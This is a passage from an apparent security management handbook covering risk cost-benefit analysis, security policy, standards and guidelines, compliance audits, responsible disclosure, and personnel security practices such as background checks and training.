The Cost of Prevention

Finally, you need to calculate the cost of preventing each kind of loss. For instance, the cost to recover from a momentary power failure is probably only that of personnel "downtime" and the time necessary to reboot. However, the cost of prevention may be that of buying and installing a UPS system.

Costs need to be amortized over the expected lifetime of your approaches, as appropriate. Deriving these costs may reveal secondary costs and credits that should also be factored in. For instance, installing a better fire-suppression system may result in a yearly decrease in your fire insurance premiums and give you a tax benefit for capital depreciation. But spending money on a fire-suppression system means that the money is not available for other purposes, such as increased employee training or even investments.

Adding Up the Numbers

At the conclusion of this exercise, you should have a multidimensional table consisting of assets, risks, and possible losses. For each loss, you should know its probability, the predicted loss, and the amount of money required to defend against the loss. If you are very precise, you will also have a probability that your defense will prove inadequate. The process of determining if each defense should or should not be employed is now straightforward. You do this by multiplying each expected loss by the probability of its occurring as a result of each threat. Sort these in descending order, and compare each cost of occurrence to its cost of defense.

This comparison results in a prioritized list of things you should address. The list may be surprising. Your goal should be to avoid expensive, probable losses, before worrying about less likely, low-damage threats. *In many environments, fire and loss of key personnel are much more likely to occur, and are more damaging than a break-in over the network*. Surprisingly, however, it is break-ins that seem to occupy the attention and budget of most managers. This practice is simply not cost-effective, nor does it provide the highest levels of trust in your overall system. To figure out what you should do, take the figures that you have gathered for avoidance and recovery to determine how best to address your high-priority items. The way to do this is to add the cost of recovery to the expected average loss, and multiply that by the probability of occurrence. Then, compare the final product with the yearly cost of avoidance. If the cost of avoidance is lower than the risk you are defending against, you would be advised to invest in the avoidance strategy if you have sufficient financial resources. If the cost of avoidance is higher than the risk that you are defending against, then consider doing nothing until after other threats have been dealt with.

CHAPTER 4.
PLANNING YOUR SECURITY NEEDS

At a Glance

This chapter covers policy and procedural issue related to creating an effective defense to the security threats presented in the previous chapter and goes into greater detail on the planning process.

Effective Security Based on Technical Solutions and Policy Guidance

Fundamentally, computer security is a series of technical solutions to non-technical problems. You can spend an unlimited amount of time, money, and effort on computer security, but you will never quite solve the problem of accidental data loss or intentional disruption of your activities. Given the right set of circumstances—software bugs, accidents, mistakes, bad luck, bad weather, or a sufficiently motivated and well-equipped attacker—any computer can be compromised, rendered useless, or even totally destroyed.

The job of the security professional is to help organizations decide how much time and money need to be spent on security. Another part of that job is to make sure that organizations have policies, guidelines, and procedures in place so that the money spent is spent well. And finally, the professional needs to audit the system to ensure that the appropriate controls are implemented correctly to achieve the policy's goals. Thus, practical security is really a question of management and administration more than it is one of technical skill. Consequently, security must be a priority of your organization's management. Even in a very small enterprise without a significant budget for security, the management should understand the core security issues and implement basic (and relatively inexpensive) measures to protect its assets.

Security planning may be divided into five discrete steps:

1) Planning to address your security needs
2) Conducting a risk assessment or adopting best practices
3) Creating policies to reflect your needs
4) Implementing security
5) Performing audit and incident response

There are two critical principles implicit in effective policy and security planning:

Policy and security awareness must be driven from the top down in the organization. Security concerns and awareness by the users are important, but they cannot build or sustain an effective culture of security. Instead, the head(s) of the organization must treat security as important, and abide by all the same rules and regulations as everyone else.

Effective computer security means protecting *information*. Although protecting resources is also critical, resource losses are more easily identified and remedied than information losses. All plans, policies and procedures should reflect the need to protect information in whatever forms it takes. Proprietary data does not become worthless when it is on a printout or is faxed to another site instead of contained in a disk file. Customer confidential information does not suddenly lose its value because it is recited on the phone between two users instead of contained within an e-mail message. The information should be protected no matter what its form.

There are many different kinds of computer security, and many different definitions. Rather than present a formal definition, this Handbook takes a practical approach and discusses the categories of protection you should consider.

Types of Security Concerns

Within this broad definition, there are many different types of security that both users and administrators of computer systems need to be concerned about:[54]

Confidentiality
Protecting information from being read or copied by anyone who has not been explicitly authorized by the owner of that information. This type of security includes not only protecting the information *in toto*, but also protecting individual pieces of information that may seem harmless by themselves but that can be used to infer other confidential information.

[54] See also the COBIT approach to security methodology http://www.isaca.org/cobit.htm

Data integrity
Protecting information (including programs) from being deleted or altered in any way without the permission of the owner of that information. Information to be protected also includes items such as accounting records, backup tapes, file creation times, and documentation.

Availability
Protecting your services so they're not degraded or made unavailable (crashed) without authorization. If the systems or data are unavailable when an authorized user needs them, the result can be as bad as having the information that resides on the system deleted.

Consistency
Making sure that the system behaves as expected by the authorized users. If software or hardware suddenly starts behaving radically differently from the way it used to behave, especially after an upgrade or a bug fix, a disaster could occur. Imagine if your ls command occasionally deleted files instead of listing them! This type of security can also be considered as ensuring the *correctness* of the data and software you use.

Control
Regulating access to your system. If unknown and unauthorized individuals (or software) are found on your system, they can create a big problem. You must worry about how they got in, what they might have done, and who or what else has also accessed your system. Recovering from such episodes can require considerable time and expense for rebuilding and reinstalling your system, and verifying that nothing important has been changed or disclosed—even if nothing actually happened.

Audit
As well as worrying about unauthorized users, authorized users sometimes make mistakes, or even commit malicious acts. In such cases, you need to determine what was done, by whom, and what was affected. The only sure way to achieve these results is by having some incorruptible record of activity on your system that positively identifies the actors and actions involved. In some critical applications, the audit trail may be extensive enough to allow "undo" operations to help restore the system to a correct state.

Although all of these aspects of security are important, different organizations will view each with a different amount of importance. This variance is because different organizations have different security concerns, and must set their priorities and policies accordingly.
For example:

A Banking Environment

In such an environment, integrity, control, and auditability are usually the most critical concerns, while confidentiality and availability are the next in importance. A national defenserelated system that processes classified information. In such an environment, confidentiality may come first, and availability last. In some highly classified environments, officials may prefer to blow up a building rather than allow an attacker to access the information contained within that building's walls.

A University
In such an environment, integrity and availability may be the most important requirements. It is more important to ensure that students can work on their papers, than that administrators can track the precise times that students accessed their accounts.

If you are a security administrator, you need to thoroughly understand the needs of your operational environment and users. You then need to define your procedures accordingly. Not everything we describe in this book will be appropriate in every environment.

Trust

Security professionals generally don't refer to a computer system as being "secure" or "unsecure." Instead, we use the word trust to describe our level of confidence that a computer system will behave as expected. This acknowledges that absolute security can never be present. We can only try to approach it by developing enough trust in the overall configuration to warrant using it for the applications we have in mind. Developing adequate trust in your computer systems requires careful thought and planning. Operational decisions should be based on sound policy and risk analysis and it is important to get professional advice when possible:

If you are at a larger company, university, or government agency, we suggest that you contact your internal audit and/or risk management department for additional help (they may already have some plans and policies in place that you should know about). You can also learn more about this topic by consulting some of the works referenced in the Annexes. You may also wish to enlist a consulting firm. For example, many large accounting and audit firms now have teams of professionals that can evaluate the security of computer installations.

If you are with a smaller institution or are dealing with a personal machine, you may not have specialized departments to call on and you should review Part 2 of this Handbook carefully. You may decide that we cover these issues in greater detail than you actually need. However, the information contained in these chapters should help guide you in setting your priorities.

Cost-Benefit Analysis and Best Practices

Time and money are finite. After you complete your risk assessment, you will have a long list of risks — far more than you can possibly address or defend against. You now need a way of ranking these risks to decide which you need to mitigate through technical means, which you will insure against, and which you will simply accept. Traditionally, the decision of which risks to address and which to accept was done using a *cost-benefit analysis*, a process of assigning cost to each possible loss, determining the cost of defending against it, determining the probability that the loss will occur, and then determining if the cost of defending against the risk outweighs the benefit.

Risk assessment and cost-benefit analyses generate a lot of numbers, making the process seem quite scientific and mathematical. In practice, however, putting together these numbers can be a time-consuming and expensive process, and the result are numbers that are frequently soft or inaccurate. Risk analysis depends on the ability to gauge the expected use of an asset, assess the likelihood of each risk to the asset, identify the factors that enable those risks, and calculate the potential impact of various choices—figures that are devilishly hard to pin down. How do you calculate the risk that an attacker will be able to obtain system administrator privileges on your web server? Does this risk increase over time, as new security vulnerabilities are discovered, or does it decrease over time, as the vulnerabilities are publicized and corrected? Does a well-maintained system become less secure or more secure over time? And how do you calculate the likely damages of a successful penetration? Unfortunately, few statistical, scientific studies have been performed on these questions. Many people think they know the answers to these questions, but research has shown that most people badly estimate risk based on personal experience.

Because of the difficulty inherent in risk analysis, another approach for securing computers has emerged in recent years called best practices, or due care. This approach consists of a series of recommendations, procedures, and policies that are generally accepted within the community of security practitioners to give organizations a reasonable level of overall security and risk mitigation at a reasonable cost. Best practices can be thought of as "rules of thumb" for implementing sound security measures.

The best practices approach is not without its problems. The biggest problem is that there really is no one set of "best practices" that is applicable to all sites and users. The best practices for a site that manages financial information might have similarities to the best practices for a site that publishes a community newsletter, but the financial site would likely have additional security measures.

Following best practices does not assure that your system will not suffer a security-related incident. Most best practices require that an organization's security office monitor the Internet for news of new attacks and download patches from vendors when they are made available. But even if you follow this regimen, an attacker might still be able to use a novel, unpublished attack to compromise your computer system. And if your news feed is down, or the person monitoring the mailing lists goes on vacation, then the attackers will have a lead on your process of installing needed patches.

The very idea that tens of thousands of organizations could or even should implement the "best" techniques available to secure their computers is problematical. The "best" techniques available are simply not appropriate or cost-effective for all organizations.

Many organizations that claim to be following best practices are actually adopting the minimum standards commonly used for securing systems. In practice, most best practices really aren't.

We recommend a combination of risk analysis and best practices. Starting from a body of best practices, an educated designer should evaluate risks and trade-offs, and pick reasonable solutions for a particular configuration and management. For instance, servers should be hosted on isolated machines, and configured with an operating system and software providing the minimally required functionality. The operators should be vigilant for changes, keep up-to-date on patches, and prepare for the unexpected. Doing this well takes a solid understanding of how the system works, and what happens when it doesn't work. This is the approach that we will explain in the sections that follow.

CHAPTER 5.
ORGANIZATIONAL SECURITY POLICY AND PREVENTION

At A Glance

This chapter addresses security policy from the bottom up and the top down; everyone in the organization has some role to play in ensuring the security of computers, networks, and data. Supplementary management checklists to this chapter have been provided at the end of Part 3.

Security in a Working Organization

Security is not free. The more elaborate your security measures become, the more expensive they become. Systems that are more secure may also be more difficult to use, although this need not always be the case. Security can also get in the way of "power users," who wish to exercise many difficult and sometimes dangerous operations with-out authentication or accountability. Some of these power users can be politically powerful within your organization. Alternatively, some organizations may feel that any security measures are too costly and will try to conduct business without taking the time to assess the true costs of implementation and the potential losses from a negligent attitude. A series of checklists has been provided at the end of Part 3 which outline steps that may be taken, at various levels, to ensure that the computing environment is as safe as possible, given certain constraints on time, personnel, and financial resources.

After you have completed your risk assessment and cost-benefit analysis, you will need to convince your organization's management of the need to act upon the information. Normally, you would formulate a policy that is then officially adopted. Frequently, this process is an uphill battle. Fortunately, it does not have to be. The goal of risk assessment and cost-benefit analysis is to prioritize your actions and spending on security. If your business plan is such that you should not have an uninsured risk of more than a certain monetary amount per year, you can use your risk analysis to determine what needs to be spent to achieve this goal. Your analysis can also be a guide as to what to do first, and then second, and can identify which things you should relegate to later years.

Another benefit of risk assessment is that it helps to justify to management that you need additional resources for security. Most managers and directors know little about computers, but they do understand risk and cost/benefit analysis. If you can show that your organization is currently facing an exposure to risk that could total a certain monetary amount per year (add up all the expected losses plus recovery costs for what is currently in place), then this estimate might help convince management to fund some additional personnel and resources.

On the other hand, going to management with a vague "We're really likely to see several break-ins on the Internet after the next CERT/CC announcement" is unlikely to produce anything other than mild concern (if that).

The Role of Security Policy

Policy helps to define what you consider to be valuable, and it specifies what steps should be taken to safeguard those assets.

Policy can be formulated in a number of different ways. You could write a very simple, general policy of a few pages that covers most possibilities. You could also craft a policy for different sets of assets: a policy for e-mail, a policy for personnel data, and a policy on accounting information. A third approach, taken by many large corporations, but applicable to organizations of all sizes, is to have a small, simple policy augmented with standards and guidelines for appropriate behavior. We'll briefly outline this latter approach, with the reader's understanding that simpler policies can be crafted; more information is given in the references.

Policy plays three major roles. First, it makes clear what is being protected and why. Second, it clearly states the responsibility for that protection. Third, it provides a ground on which to interpret and resolve any later conflicts that might arise. What the policy should not do is list specific threats, machines, or individuals by name—the policy should be general and change little over time.

Standards

Standards are intended to codify the successful practice of security in an organization. They are generally phrased in terms of "shall." Standards are generally platform independent, and at least imply a metric to determine if they have been met. Standards are developed in support of policy, and change slowly over time. Standards might cover such issues as how to screen new hires, how long to keep backups, and how to test UPS systems.

For example, consider a standard for backups. It might state:

> Backups shall be made of all online data and software on a regular basis. In no case will backups be done any less often than once every 72 hours of normal business operation. All backups should be kept for a period of at least six months; the first backup in January and July of each year will be kept indefinitely at an off-site, secured storage location. At least one full backup of the entire system shall be taken every other week. All backup media will meet accepted industry standards for its type, to be readable after a minimum of five years in unattended storage.

This standard does not name a particular backup mechanism or software package. It clearly states, however, what is to be stored, how long it is to be stored, and how often it is to be made.

> Consider a possible standard for authentication: Every user account on each multi-user machine shall have only one person authorized to use it. That user will be required to authenticate his or her identity to the system using some positive proof of identity. This proof of identity can be through the use of an approved authentication token or smart card, an approved one-time password mechanism, or an approved biometric unit. Reusable passwords will not be used for primary authentication on any machine that is ever connected to a network or modem, that is portable and carried off company property, or that is used outside of a private office.

Guidelines

Guidelines are the "should" statements in policies. The intent of guidelines is to interpret standards for a particular environment—whether that is a software environment or a physical environment. Unlike standards, guidelines may be violated, if necessary. As the name suggests, guidelines are not usually used as standards of performance, but as ways to help guide behavior.

Here is a typical guideline for backups:

Backups on Unix-based machines should be done with the "dump" program. Backups should be done nightly, in single-user mode, for systems that are not in 24-hour production use. Backups for systems in 24-hour production mode should be made at the shift change closest to midnight, when the system is less loaded. All backups will be read and verified immediately after being written.

Level 0 dumps will be done for the first backup in January and July. Level 3 backups should be done on the 1st and 15th of every month. Level 5 backups should be done every Monday and Thursday night, unless a level 0 or level 3 backup is done on that day. Level 7 backups should be done every other night except on holidays.

Once per week, the administrator will pick a file at random from some backup made that week. The operator will be required to recover that file as a test of the backup procedures.

Guidelines tend to be very specific to particular architectures and even to specific machines. Guidelines also tend to change more often than do standards, to reflect changing conditions.

Some Key Ideas in Developing a Workable Policy

The role of policy (and associated standards and guidelines) is to help protect those items you (collectively) view as important. They do not need to be overly specific and complicated in most instances. Sometimes, a simple policy statement is sufficient for your environment, as in the following example.

The use and protection of this system is everyone's responsibility. Only do things you would want everyone else to do, too. Respect the privacy of other users. If you find a problem, fix it yourself or report it right away. Abide by all applicable laws concerning use of the system. Be responsible for what you do and always identify yourself. Have fun!

Other times, a more formal policy, reviewed by a legal professional and various security consultants, is the way you need to go to protect your assets. Each organization will be different. There are some key ideas to your policy formation, though, that need to be mentioned more explicitly.

Assign an owner

Every piece of information and equipment to be protected should have an assigned "owner." The owner is the person who is responsible for the information, including its copying, destruction, backups, and other aspects of protection. This is also the person who has some authority with respect to granting access to the information.

The problem with security in many environments is that there is important information that has no clear owner. As a result, users are never sure who makes decisions about the storage of the information, or who regulates access to the information. Information (and even equipment!) sometimes disappears without anyone noticing for a long period of time because there is no "owner" to contact or monitor the situation.

Be positive

People respond better to positive statements than to negative ones. Instead of building long lists of "don't do this" statements, think how to phrase the same information positively. The abbreviated policy statement above could have been written as a set of "don'ts" as follows, but consider how much better it read originally:

It's your responsibility not to allow misuse of the system. Don't do things you wouldn't want others to do, too. Don't violate the privacy of others. If you find a problem, don't keep it a secret if you can't fix it yourself. Don't violate any laws concerning use of the system. Don't try to shift responsibility for what you do to someone else and don't hide your identity. Don't have a bad time!

When writing policies, keep users in mind. They will make mistakes, and they will misunderstand. The policy should not suggest that users will be thrown to the wolves if an error occurs.

Furthermore, consider that information systems may contain information about users that they would like to keep somewhat private. This may include some e-mail, personnel records, and job evaluations. This material should be protected, too, although you may not be able to guarantee absolute privacy. Be considerate of users' needs and feelings.

Concentrate on training and awareness

You would be wise to include standards for training and retraining of all users. Every user should have basic security awareness education, with some form of periodic refresher material (even if the refresher only involves being given a copy of this book!). Trained and educated users are less likely to fall for scams and social engineering attacks. They are also more likely to be happy about security measures if they understand why they are in place.

A crucial part of any security system is giving staff time and support for additional training and education. There are always new tools and new threats, new techniques, and new information to be learned. If staff members are spending 60 hours each week chasing down phantom PC viruses and doing backups, they will not be as effective as staff given a few weeks of training time each year. Furthermore, they are more likely to be happy with their work if they are given a chance to grow and learn on the job, and are allowed to spend evenings and week-ends with their families instead of trying to catch up on installing software and making backups.

Have authority commensurate with responsibility:

The first principle of security administration:

If you have responsibility for security, but have no authority to set rules or punish violators, it is likely

that you will have to take the blame when something big goes wrong.

This Part includes checklists for managers and personnel who will be responsible for security. Important elements to any organization's security plan are covered including: communication, awareness, training, and appropriate funding to support the plan.

Be sure you know your security perimeter

When you write your policy, you want to be certain to include all of the various systems, networks, personnel, and information storage within your security perimeter. The perimeter defines what is "within" your control and concern. When formulating your policies, you need to be certain you include coverage of everything that is "within" your perimeter or that could enter your perimeter and interact with your information resources. In earlier years, many organizations defined their IT security perimeter to be their walls and fences. Nowadays, the perimeter is less concrete.

For example, consider the following when developing your policies:

- Portable computers and PDAs can be used to access information while away from your physical location. Furthermore, they may store sensitive information, including IP addresses, phone numbers, and passwords. These systems should have minimum levels of protection, including passwords, encryption, and physical security markings. Users should have additional training and awareness about dangers of theft and eavesdropping.
- Wireless networks used on the premises or otherwise connected to site resources may be connected to by outsiders using directional antennas or simply parked in a car outside the building with a laptop. Wireless networks should be configured and protected to prevent sensitive material from being observed outside, and to prevent insertion of malicious code by attackers.
- Computers used at home by the organization's personnel are subject to penetration, theft, and the accidental insertion of malicious code. They may also be used contrary to organizational policy (e.g., to run a business, or host a web server with questionable content). The policy needs to make clear how these machines are to be used, protected, and audited.
- Media is dense and portable. If someone makes a CD or DVD of the company financial records to use at a remote site, what happens if the media is stolen or misplaced? Policies should govern who is allowed to take media off-site, how it is to be protected (including encryption) and what is to happen if it is lost or stolen. They should also detail how and when previously used media will be destroyed to limit its potential exposure.
- What are the policies governing people who bring their own PDAs or laptops on site for meetings or simply while visiting? What are the rules governing their connection to site networks, phone lines, printers, or other devices?
- What concerns are there about shipping computers or storage devices offsite for maintenance. What if there is sensitive material on disk? What about leased equipment that is returned to the owner?
- If business partners or contractors have access to your equipment, at your site or at theirs, who guards the material? How is it kept from unwanted contamination or commingling with their own sensitive data?
- What policies will be in place to govern the handling of information provided to your organization under trade secret protection or license? Who is responsible for protecting the information, and where can it be kept and stored?
- What policies govern non-computer information processing equipment? For instance, what policies govern use of the printers, copiers, and fax machines? (Sensitive information on paper is no less sensitive than online.)

Thinking about all these issues before a problem occurs helps keeps the problems from occurring. Building sensible statements into your security policy help everyone to understand the concerns and take the proper precautions.

Pick a basic approach to security issues

Decide if you are going to build around the model of "Everything that is not specifically denied is permitted" or "Everything that is not specifically permitted is denied." Then be consistent in how you define everything else. The first choice might be most consistent with a relatively open environment, such as a university, while the second case would be more consistent with a commercial institution, such as a bank.

Defend in depth

When you plan your defenses and policy, don't stop at one layer. Institute multiple, redundant, independent levels of protection. Then include auditing and monitoring to ensure that those protections are working. The chance of an attacker's evading one set of defenses is far greater than the chance of his evading three layers plus an alarm system.[55]

Ensuring Compliance and Security Audits

Formulating policy is not enough by itself. It is important to regularly determine if the policy is being applied correctly, and if the policy is correct and sufficient. This is normally done with a compliance audit. The term audit is overloaded, often used to mean (at least), a financial audit, an audit trail (log), a security audit of a system, and a compliance audit for policy.

A compliance audit is a set of actions carried out to measure whether standards set by policies are being met and, if not, why. Standards normally imply metrics and evaluation criteria that can be used by an auditor to measure this compliance. When standards are not met, it can be because of any of a combination of:

1. Personnel shortcomings
2. Insufficient training or lack of appropriate skills
3. Overwork
4. Malfeasance
5. Lack of motivation
6. Material shortcomings
7. Insufficient or inadequate resources
8. Inadequate maintenance
9. Overload/overuse
10. Organizational shortcomings
11. Lack of authority/responsibility
12. Conflicting responsibilities
13. Unclear/inconsistent/confusing tasking
14. Policy shortcomings
15. Unforeseen risks
16. Missing or incomplete policies
17. Conflicting policies
18. Mismatch between policy and environment

What is key to note about this list is that the vast majority of causes of policy problems cannot be blamed on the operator or administrator. Even inadequate training and overwork are generally not the administrator's choice. Thus, a compliance audit should not be viewed (nor conducted) as an adversarial process. Instead, it should be conducted as a collaborative effort to identify problems, obtain and reallocate resources, refine policies and standards, and raise awareness of security needs. As with all security, a team approach is almost always the most effective. When managed properly, your personnel can embrace good security. The key is to help them in doing their tasks rather than being "on the other side."

The Problem with Security Through Obscurity

In traditional security, derived largely from military intelligence, there is the concept of "need to know." Information is partitioned, and you are given only as much as you need to do your job. In environments where specific items of information are sensitive or where inferential security is a concern, this policy makes considerable sense. If three pieces of information together can form a damaging conclusion and no one has access to more than two, you can ensure confidentiality.

In a computer operations environment, applying the same need-to-know concept is usually not appropriate. This is especially true if you should find yourself basing your security on the fact that something technical is unknown to your attackers. This concept can even hurt your security.

[55] See "The *12 Layer Matrix: Building a Cyber-Fortress (2003)*" by Tom Kellermann at: http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Tools

Consider an environment in which management decides to keep the manuals away from the users to prevent them from learning about commands and options that might be used to crack the system. Under such circumstances, the managers might believe they have increased their security, but they probably have not. A determined attacker will find the same documentation elsewhere—from other users or from other sites. Extensive amounts of documentation are available as close as the nearest bookstore! Management cannot close down all possible avenues for learning about the system. In the meantime, the local users are likely to make less efficient use of the machine because they are unable to view the documentation and learn about more efficient options. They are also likely to have a poorer attitude because the implicit message from management is "We don't completely trust you to be a responsible user." Furthermore, if someone does start abusing commands and features of the system, management may not have a pool of talent to recognize or deal with the problem. And if something should happen to the one or two users authorized to access the documentation, there is no one with the requisite experience or knowledge to step in or help out.

Keeping bugs or features secret to protect them is also a poor approach to security. System developers often insert back doors in their programs to let them gain privileges without supplying passwords. Other times, system bugs with profound security implications are allowed to persist because management assumes that nobody knows of them. The problem with these approaches is that features and problems in the code have a tendency to be discovered by accident or by determined attackers. The fact that the bugs and features are kept secret means that they are unwatched, and probably unpatched. After being discovered, the existence of the problem will make all similar systems vulnerable to attack by the persons who discover the problem.

Keeping algorithms, such as a locally developed encryption algorithm, secret is also of questionable value. Unless you are an expert in cryptography, you are unlikely to be able to analyze the strength of your algorithm. The result may be a mechanism that has a serious flaw in it. An algorithm that is kept secret isn't scrutinized by others, and thus someone who does discover the hole may have free access to your data without your knowledge.

Likewise, keeping the source code of your operating system or application secret is no guarantee of security. Those who are determined to break into your system will occasionally find security holes, with or without source code.[56] But without the source code, users cannot carry out a systematic examination of a program for problems. Thus, there may be some small benefit to keeping the code hidden, but it shouldn't be depended on. The key is attitude. Defensive measures that are based primarily on secrecy lose all their value if their secrecy is breached. Even worse, when maintaining secrecy restricts or prevents auditing and monitoring, it can be impossible to determine whether secrecy has been breached. You are better served by algorithms and mechanisms that are inherently strong, even if they're known to an attacker. The very fact that you are using strong, known mechanisms may discourage an attacker and cause the idly curious to seek excitement elsewhere. Putting your money in a wall safe is better protection than depending on the fact that no one knows that you hide your money in a mayonnaise jar in your refrigerator.

Responsible Disclosure

Despite our objection to "security through obscurity," we do not advocate that you widely publicize new security holes the moment that you find them. There is a difference between secrecy and prudence! If you discover a security hole in distributed or widely available software, you should *quietly* report it to the vendor as soon as possible. We would also recommend that you report it to one of the FIRST teams (described in Annex 4, *Organizations*). Those organizations can take action to help vendors develop patches and see that they are distributed in an appropriate manner.

If you "go public" with a security hole, you endanger all of the people who are running that software but who don't have the ability to apply fixes. In the Unix environment, many users are accustomed to having the source code available to make local modifications to

[56] Unless you're developing the software all by yourself on your own workstation, several people may have access to the source code, and, intentionally or accidentally, code gets leaked.

correct flaws. Unfortunately, not everyone is so lucky, and many people have to wait weeks or months for updated software from their vendors. Some sites may not even be able to upgrade their software because they're running a turn-key application, or one that has been certified in some way based on the current configuration. Other systems are being run by individuals who don't have the necessary expertise to apply patches. Still others are no longer in production, or are at least out of maintenance. Always act responsibly. It may be preferable to circulate a patch without explaining or implying the underlying vulnerability than to give attackers details on how to break into unpatched systems.

We have seen many instances in which a well-intentioned person reported a significant security problem in a very public forum. Although the person's intention was to elicit a rapid fix from the affected vendors, the result was a wave of break-ins to systems where the administrators did not have access to the same public forum, or were unable to apply a fix appropriate for their environment.

Posting details of the latest security vulnerability in your system to a mailing list if there is no patch available will not only endanger many other sites, it may also open you to civil action for damages if that flaw is used to break into those sites.[57] If you are concerned with your security, realize that you're a part of a community. Seek to reinforce the security of everyone else in that community as well—and remember that you may need the assistance of others one day.

Conclusions on Policy and Prevention

The key to successful risk assessment is to identify all of the possible threats to your system, and to defend against those attacks which you think are realistic threats.

Simply because people are the weak link doesn't mean we should ignore other safeguards. People are unpredictable, but breaking into a dial-in modem that does not have a password is still cheaper than a bribe. So, we use technological defenses where we can, and we improve our personnel security by educating our staff and users.
We also rely on defense in depth: we apply multiple levels of defenses as backups in case some fail. For instance, we buy that second UPS system, or we put a separate lock on the computer room door even though we have a lock on the building door. These combinations can be defeated too, but we increase the effort and cost for an enemy to do that...and maybe we can convince them that doing so isn't worth the trouble. At the very least, you can hope to slow them down enough so that your monitoring and alarms will bring help before anything significant is lost or damaged.

With these limits in mind, you need to approach computer security with a thoughtfully developed set of priorities. You can't protect against every possible threat. Sometimes you should allow a problem to occur rather than prevent it, and then clean up afterwards. For instance, your efforts might be cheaper and less trouble if you let the systems go down in a power failure and then reboot than if you bought a UPS system. And some things you simply don't bother to defend against, either because they are too unlikely (e.g., an alien invasion from space), too difficult to defend against (e.g., a nuclear blast within 500 yards of your data center), or simply too catastrophic and horrible to contemplate (e.g., your management decides to switch all your Unix machines to some well-known PC operating system). The key to good management is knowing what things you will worry about, and to what degree.

Decide what you want to protect and what the costs might be to prevent those losses versus the cost of recovering from those losses. Then make your decisions for action and security measures based on a prioritized list of the most critical needs. Be sure you include more than your computers in this analysis: don't forget that your backup tapes, your network connections, your terminals, and your documentation are all part of the system and represent potential loss. The safety of your personnel, your corporate site, and your reputation are also very important and should be included in your plans.

[57] Although we are unaware of any cases having been filed yet on these grounds, several lawyers have told us that they are waiting for their clients to request such an action. Several believe this to be a viable course of action.

CHAPTER 6.
PERSONNEL SECURITY

At a Glance

This chapter outlines the security issue that emanate from inside the organization. From hiring and firing procedures to employee training and awareness, personnel security will play a critical role in the organizational response to preventive and defensive measures taken on the company's behalf.

Personnel Risks: A Hidden Threat to the Organization

Consider a few personnel incidents that made the news in the last few years:

- Nick Leeson, an investment trader at the Barings Bank office in Singapore, and Toshihide Iguchi of the Daiwa Bank office in New York City, each made risky investments and lost substantial amounts of their bank's funds. Rather than admit to the losses, each of them altered computer records and effectively gambled more money to recoup the losses. Eventually, both were discovered after each bank lost more than one billion dollars. As a result, Barings was forced into insolvency, and Daiwa may not be allowed to operate in the United States in the future.

- In the U.S., agents and other individuals with high-security clearances at the CIA, the FBI and the Armed Forces (Aldrich Ames, Jonathon Pollard, Robert Hanson, and Robert Walker, to name a few) were dis covered to have been passing classified information to Russia and to Israel. Despite several special controls for security, these individuals were able to commit damaging acts of espionage — in some cases, for more than a decade.

- John Deutch, the director of the CIA under President Clinton, was found to have taken classified government information from the Agency to his house, where the information was stored on classified computers con figured for unclassified use and appropriately marked as "unclassified." While the classified information was resident, these same computers were used to access pornographic web sites — web sites that could have launched attacks against the computers using both public and undisclosed security vulnerabilities. Yet despite the fact that numerous policies and laws were broken, no administrative action was taken against Deutch, and Deutch was issued a Presidential pardon by Clinton on Clinton's last day of office.

If you examine these cases and the vast number of computer security violations committed over the past few decades, you will find one common characteristic: 100% of them were caused by people. Break-ins were caused by people. Computer viruses were written by people. Passwords were stolen by people.

"Personnel security" is everything involving employees: hiring them, training them, monitoring their behavior, and, sometimes, handling their departure. Statistics show that the most common perpetrators of significant computer crime in some contexts are those people who have legitimate access now, or who have recently had access; some studies show that over 80% of incidents are caused by these individuals. Thus, managing personnel with privileged access is an important part of a good security plan.

People are involved in computer security problems in two ways. Some people unwittingly aid in the commission of security incidents by failing to follow proper procedure, by forgetting security considerations, and by not understanding what they are doing. Other people knowingly violate controls and procedures to cause or aid an incident. As we have noted earlier, the people who knowingly contribute to your security problems are most often your own users (or recent users): they are the ones who know the controls, and know what information of value may be present.

You are likely to encounter both kinds of individuals in the course of administering a Unix system. The controls and mechanisms involved in personnel security are many and varied. Discussions of all of them could fill an entire book, so we'll simply summarize some of the major considerations. These personnel polices will not prevent security breaches, but they will reduce the security threats posed to your enterprise by your own employees.

Security in the Hiring Process

Background Checks

When you hire new employees, check their backgrounds. You may have candidates fill out application forms, but then what do you do? At the least, you should check all references given by each applicant to determine his past record, including reasons why he left those positions. Be certain to verify the dates of employment, and check any gaps in the record. You should also verify any claims of educational achievement and certification: stories abound of individuals who have claimed to have earned graduate degrees from prestigious universities—universities that have no records of those individuals ever completing a class. Other cases involve degrees from "universities" that are little more than a post office box. Consider that an applicant who lies to get a job with you is not establishing a good foundation for future trust.

Intensive Investigations

In some instances you may want to make more intensive investigations of the character and background of the candidates. Depending on the level of the job and the access that this employee will have to systems and sensitive data, you may want to:

- Have an investigation agency do a background check.
- Get a criminal record check of the individual.
- Check the applicant's credit record for evidence of large personal debt and the inability to pay it. Discuss problems, if you find them, with the applicant. People who are in debt should not be denied jobs: if they are, they will never be able to regain solvency. At the same time, employees who are under financial strain may be more likely to act improperly.
- Consider conducting a polygraph examination of the applicant (if legal). Although polygraph exams are not always accurate, they can be helpful if you have a particularly sensitive position to fill.
- Ask the applicant to obtain bonding for his position.

In general, we don't recommend these steps for hiring every employee. However, you should conduct extra checks of any employee who will be in a position of trust or privileged access—including maintenance and cleaning personnel.

We also suggest that you inform the applicant that you are performing these checks, and obtain his or her consent. This courtesy will make the checks easier to perform and will put the applicant on notice that you are serious about your precautions. In some locales you will need the explicit permission of the candidate to conduct these checks.

Rechecks

Once you have finished the tests and hired the candidate, you should consider revisiting some of the checks on a periodic basis. You would then compare the old and new results and observe changes. Some changes should trigger deeper investigation.

For example, if you have an employee who is in charge of your accounting system, including computer printing of checks to creditors, you likely want to conduct more than a cursory investigation, including a credit check. If a recheck occurs every two years and the employee exhibits spending patterns that are far out of line with his salary and personal means, you may decide to investigate further.

Initial Training

Your security concerns with an employee should not stop after that person is hired. Every potential computer user should undergo fundamental education in security policy as a matter of course. At the least, this education should include procedures for password selection and use, physical access to computers and networks (who is authorized to connect equipment, and how), backup procedures, dial-in policies, and policies for divulging information over the telephone. Executives should not be excluded from these classes because of their status—they are as likely (or more likely) as other personnel to pick poor passwords and commit other errors. They, too, must demonstrate their commitment to security: security consciousness flows from the top down, not the other way.

Education should include written materials and a copy of the computer-use policy. The education should include discussion of appropriate and inappropriate use of the computers and networks, personal use of computing equipment (during and after hours), policies on ownership and use of electronic mail, and policies on import and export of software and data. Penalties for violations of these policies should also be detailed.

